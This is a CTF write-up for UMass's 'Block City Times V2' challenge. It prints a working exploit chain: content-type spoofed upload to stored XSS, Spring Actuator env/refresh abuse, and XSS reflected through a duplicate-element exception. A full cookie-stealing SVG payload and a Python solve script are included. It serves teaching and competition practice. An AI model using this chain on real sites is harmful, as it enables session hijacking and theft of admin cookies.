The Block City Times V2
umasscybersec
Task: a token-gated news site exposed a Flask launcher, Spring Boot app, editorial bot, and report-runner bot. Solution: reuse the upload-to-stored-XSS bug, switch the app into dev mode through Actuator, then reflect a duplicate-tag exception at /api/tags to execute JavaScript in the FLAG-bearing browser.
$ ls tags/ techniques/
The Block City Times V2 — UMass Cybersecurity CTF
Description
Organizer description was not preserved in the local task files.
English summary: the public entrypoint was only a Flask wrapper that required a team CTFd token and then spawned a per-team instance. After creating a live instance first, the real target was a Spring Boot newspaper app with an editorial Puppeteer bot, a report-runner Puppeteer bot, and a dev-only reporting feature.
Analysis
The V2 source tree in v2_assets/ showed that the core upload bug from V1 still existed. In StoryController.java, /submit accepted uploads based only on MultipartFile.getContentType(), which is attacker-controlled in a multipart request. Later, /files/{filename} served the stored file using Files.probeContentType(filePath), so a file uploaded as text/plain but named story.html was accepted and then rendered as HTML when fetched.
That became stored XSS because editorial/server.js logged in as admin and automatically visited /files/<filename> after every submission. Sanitizing the launch step is important here: the public wrapper at blockcitytimesv2.web.ctf.umasscybersec.org:5000 required a private team token and created an ephemeral per-team instance, so the safe writeup wording is simply: create a live instance first.
The obvious V1 route no longer worked. ReportController.java now rejected endpoints containing .. or %, normalized the path, and required it to match ^/api/[a-zA-Z0-9/_-]+$. So the old /api/../files/<payload> trick was patched out in V2.
The new path came from combining three details:
application.ymlexposedenvandrefresh, withmanagement.endpoint.env.post.enabled: true.AppProperties.javawas under@RefreshScope, and the report feature only worked whenapp.active-config == dev.GlobalExceptionHandler.javareturned500 Internal Server Error: <message>in dev mode.
So the editorial-bot XSS could send:
POST /actuator/envwith{"name":"app.active-config","value":"dev"}POST /actuator/refresh
After waiting briefly, /admin exposed the dev reporting form.
The winning bug was in the tags API. TagController.index() returned articleService.allTags(). In ArticleService.java, allTags() was implemented as:
Set.of(ARTICLES.stream().flatMap(a -> a.getTags().stream()).toArray(String[]::new))
Set.of(...) throws IllegalArgumentException when duplicate elements are present. Because tags were attacker-controlled through PUT /api/tags/article/{id}, writing the same malicious tag into article 1 and article 2 made /api/tags crash with an exception whose message started with our payload.
That was exactly what we needed. In dev mode, the exception body became:
500 Internal Server Error: duplicate element: <svg/onload=...>
The beginning of the reflected body was attacker-controlled HTML. Even though this was an error page, Chromium still HTML-sniffed it and executed the SVG onload when the report-runner browser visited /api/tags.
developer/report-api.js showed the final piece: the report-runner logged in as admin, set a FLAG cookie, and then visited the chosen endpoint. That meant the duplicate-element error page was rendered inside a browser that already held the flag.
Two false starts are worth recording. Triggering JSON-oriented endpoints such as /api/config, and trying to rely on JSON rendering behavior, did not produce execution. The successful path was specifically duplicate-element exception reflection from /api/tags, not any JSON viewer trick.
Solution
- Create a live instance through the public Flask wrapper. Do not store or publish the private team token or the ephemeral instance host.
- Upload
story.htmlto/submit, but set the multipart partContent-Typetotext/plainso the allowlist accepts it. - Let the editorial bot visit
/files/<uploaded-name>and execute the stored XSS as admin. - From that XSS, switch the app into dev mode with
POST /actuator/envandPOST /actuator/refresh. - Wait until
/adminshows the dev-only report form. - Use authenticated
PUT /api/tags/article/1andPUT /api/tags/article/2to write the exact same malicious SVG tag into both articles. - Submit
/admin/reportwithendpoint=/api/tags. - The report-runner browser logs in, sets the
FLAGcookie, visits/api/tags, triggersSet.of(...)duplicate-element failure, HTML-sniffs the reflected SVG payload, and executes it. - The payload reads
document.cookie, extractsFLAG=..., and writes it back into article 1 tags. - Poll
/api/tags/article/1externally until the flag appears.
Local validation with docker compose up -d --build inside v2_assets/ reproduced the challenge correctly. A direct report-runner visit to /api/tags often ended in a timeout locally, but the SVG still executed and updated article tags with the placeholder local flag, confirming that execution happened before the browser session died.
Representative JavaScript for the working chain:
<svg/onload='(async()=>{ const put = tags => fetch("/api/tags/article/1", { method: "PUT", credentials: "same-origin", headers: {"Content-Type":"application/json"}, body: JSON.stringify(tags) }); const flagCookie = document.cookie.split(/;\s*/).find(v => v.startsWith("FLAG=")); if (flagCookie) { await put([decodeURIComponent(flagCookie.slice(5))]); return; } await fetch("/actuator/env", { method: "POST", credentials: "same-origin", headers: {"Content-Type":"application/json"}, body: JSON.stringify({name:"app.active-config", value:"dev"}) }); await fetch("/actuator/refresh", {method:"POST", credentials:"same-origin"}); const tag = `<svg/onload=${JSON.stringify(location.hash || "/* sanitized */")}>`; await fetch("/api/tags/article/1", {method:"PUT", credentials:"same-origin", headers:{"Content-Type":"application/json"}, body: JSON.stringify([tag])}); await fetch("/api/tags/article/2", {method:"PUT", credentials:"same-origin", headers:{"Content-Type":"application/json"}, body: JSON.stringify([tag])}); const admin = await fetch("/admin", {credentials:"same-origin"}).then(r => r.text()); const csrf = (admin.match(/name="_csrf" value="([^"]+)"/) || [])[1]; if (!csrf) return; await fetch("/admin/report", { method: "POST", credentials: "same-origin", headers: {"Content-Type":"application/x-www-form-urlencoded"}, body: new URLSearchParams({_csrf: csrf, endpoint: "/api/tags"}) }); })()'>
The only important property of the payload is that the same tag string must be written into at least two articles so Set.of(...) throws duplicate element: <svg/onload=...> when /api/tags is requested.
#!/usr/bin/env python3 import io import re import sys import time import requests if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <instance_base_url> <payload_html>") sys.exit(1) BASE = sys.argv[1].rstrip("/") PAYLOAD_PATH = sys.argv[2] S = requests.Session() with open(PAYLOAD_PATH, "rb") as f: payload = f.read() resp = S.post( f"{BASE}/submit", data={ "title": "Late breaking story", "author": "guest reporter", "description": "sanitized exploit chain" }, files={ "file": ("story.html", io.BytesIO(payload), "text/plain") }, timeout=20, ) resp.raise_for_status() print("[+] Uploaded payload; waiting for bots") for _ in range(90): time.sleep(2) r = S.get(f"{BASE}/api/tags/article/1", timeout=10) r.raise_for_status() m = re.search(r"UMASS\{[^}]+\}", r.text) if m: print("[+] Flag:", m.group(0)) break else: print("[-] Flag not observed yet")
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md